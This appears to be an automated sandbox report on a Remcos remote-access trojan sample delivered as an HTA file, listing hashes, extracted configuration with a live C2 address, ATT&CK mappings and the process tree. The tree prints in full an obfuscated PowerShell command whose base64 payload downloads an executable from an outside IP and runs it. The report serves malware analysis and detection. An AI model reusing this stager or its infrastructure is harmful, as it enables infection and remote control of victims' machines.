remcos | 73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644

General

Target

newthingswithgreatupdateiongivenbestthingswithme.hta
Size

143KB
MD5

fd6fc3abb81de5133fb2de54b937ca20
SHA1

241f7fa153504078a9a9b07f966f3c4e862a9545
SHA256

73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644
SHA512

5c37a3432112eb422e264101706a1c9e5bb7c266f064e8618b96e7e6e185800ffdf315d02f27cc23cd07e6a854bbbe19ccb5173eff885f8c808d76d6dab86516
SSDEEP

768:tlEHKFlVum2oum2QB3S5KUJDVUKhC74GVf/AyK+v6Aq1Xl7zPRDIfz9esnkoFfz7:tl

Score

10^/10

remcos elvis defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

elvis

C2

107.173.4.16:2560

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GJDISH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2328	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2328	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2716	nicetomeetyousweeet.exe

Loads dropped DLL 4 IoCs

pid	Process
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 1864	3064	mshta.exe	30
PID 3064 wrote to memory of 1864	3064	mshta.exe	30
PID 3064 wrote to memory of 1864	3064	mshta.exe	30
PID 3064 wrote to memory of 1864	3064	mshta.exe	30
PID 1864 wrote to memory of 2328	1864	cmd.exe	32
PID 1864 wrote to memory of 2328	1864	cmd.exe	32
PID 1864 wrote to memory of 2328	1864	cmd.exe	32
PID 1864 wrote to memory of 2328	1864	cmd.exe	32
PID 2328 wrote to memory of 2476	2328	powershell.exe	33
PID 2328 wrote to memory of 2476	2328	powershell.exe	33
PID 2328 wrote to memory of 2476	2328	powershell.exe	33
PID 2328 wrote to memory of 2476	2328	powershell.exe	33
PID 2476 wrote to memory of 2708	2476	csc.exe	34
PID 2476 wrote to memory of 2708	2476	csc.exe	34
PID 2476 wrote to memory of 2708	2476	csc.exe	34
PID 2476 wrote to memory of 2708	2476	csc.exe	34
PID 2328 wrote to memory of 2716	2328	powershell.exe	36
PID 2328 wrote to memory of 2716	2328	powershell.exe	36
PID 2328 wrote to memory of 2716	2328	powershell.exe	36
PID 2328 wrote to memory of 2716	2328	powershell.exe	36

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\newthingswithgreatupdateiongivenbestthingswithme.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z1alkawc.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA989.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA988.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2708
  - - C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe
      "C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe"
      4⤵
      Executes dropped EXE
      PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESA989.tmp

Filesize
1KB

MD5
b07b993dbf20ec2461bc0131bcf93f71

SHA1
8844816e6f1671c79934bc485afeedc9c2ea5dc5

SHA256
1589c53f3ceb5b05b8a54e0e3b6019954e007ef360703d69044d5b5d138f6296

SHA512
0ed76d1292b9ed5b85290dc7b950d1dbffebfd14de4abef526d16143af0a2dfb3c93b80d1fd11ccfc04ea82afea9aebdc0e10dc8ea3af2facb1b8d5d051812cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\z1alkawc.dll

Filesize
3KB

MD5
e980be1f4bc04052b56e160288281da9

SHA1
9d1f0ba82d72068cbf2e2be86fc8df14ce09d0e9

SHA256
47bd0ed685aa36657315d07fab8376b4d840a996ab9bfce96872e9ce0c2f1b74

SHA512
eee054df683ed1aa1dfa1c5e88066dd8aed4ee4f2cf6ad067a834c5c6348427b4e25b001653da2c466e97ec30f658656383f6446c640592e33a155e3a8a15601

Download Submit
C:\Users\Admin\AppData\Local\Temp\z1alkawc.pdb

Filesize
7KB

MD5
9cd9eb2a489470d5fd497179da2adb1d

SHA1
9549f7eac51e612ce59b445b06652addaea1072c

SHA256
4c98fca50dc78bfa639cd861b897148bc510ff08f7f21cc46c24838df55e0248

SHA512
d5adccaa7ce5889898abd8f7dc1ead7ed559f264d97f164cd761f67afa646b1b0d8068c48f9ee3a3893e4cd1a727711807f333a4ef88e6ba51cae3c06d788921

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCA988.tmp

Filesize
652B

MD5
d925c58eb2572e5164c6d060d30bbf41

SHA1
4c4cd11236f9791c31c86968777a4e118156d260

SHA256
7e11155436edf7740458207ed62505ea9923656fc293732c2396acbef54d0f2d

SHA512
c59c1c0d3ef280e5d6651d704c22ff390dfe236b8fad23532678fe6646865dda2a2f3a9eece97188350ea7b9754ee436a196a623ee1c08011acd7c24b3e077cc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z1alkawc.0.cs

Filesize
493B

MD5
00df4ae943d803cb15795b1fd55ead94

SHA1
fc1509b646d150cc4d1c2d92cf772be4af67716b

SHA256
e8d13d324b35fc23a6729caa22125343bfebb09476a9334e93e8c1804ce6314a

SHA512
e40826e83f25a3be3fdf26c1d5a667d0eb40d53d3f0fe46f8cc395152cd1eb46b98e193fc3a3f06b6cefadbed030d2a90a5575c1d235228d53d5f152d2e85796

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z1alkawc.cmdline

Filesize
309B

MD5
2e72a23fb61bdbd13555159a060cb04c

SHA1
2315d1a5d7517ea7d02049df303802f396d317d9

SHA256
68220945da929c4150a9cf2bb8a2272b4652765b0d7d6eee1336c517ecff4b5d

SHA512
b58b8ab17dddd9098b01f4ce26c0e97dbcc5b713fcd802079d50b202c93654598d0485ea68689fe98b2d324a0cce688284763e943542ba66c556ffac1606bd44

Download Submit
\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe

Filesize
528KB

MD5
a2d03c5333bfecca62720cd6ee3a4dc4

SHA1
ce4c380f2748f375904c17b38d4f93e294fef4f6

SHA256
ef8ec5181ab4cf85a5c4867089594f40900eaafb514496905eb86314c460178e

SHA512
5c9db8bb415da332c0adc24519ae0410a65aba932de15a682ce57efbc61b8b7d7e5e3548164909a5da5bc6966c351528626655fdbb7c21f3b4fd1974406ae04c

Download Submit
memory/2716-35-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-39-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-34-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-32-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-36-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-37-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-38-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-33-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-40-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-41-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-42-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-43-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-44-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2716-45-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download

Analysis

Sharing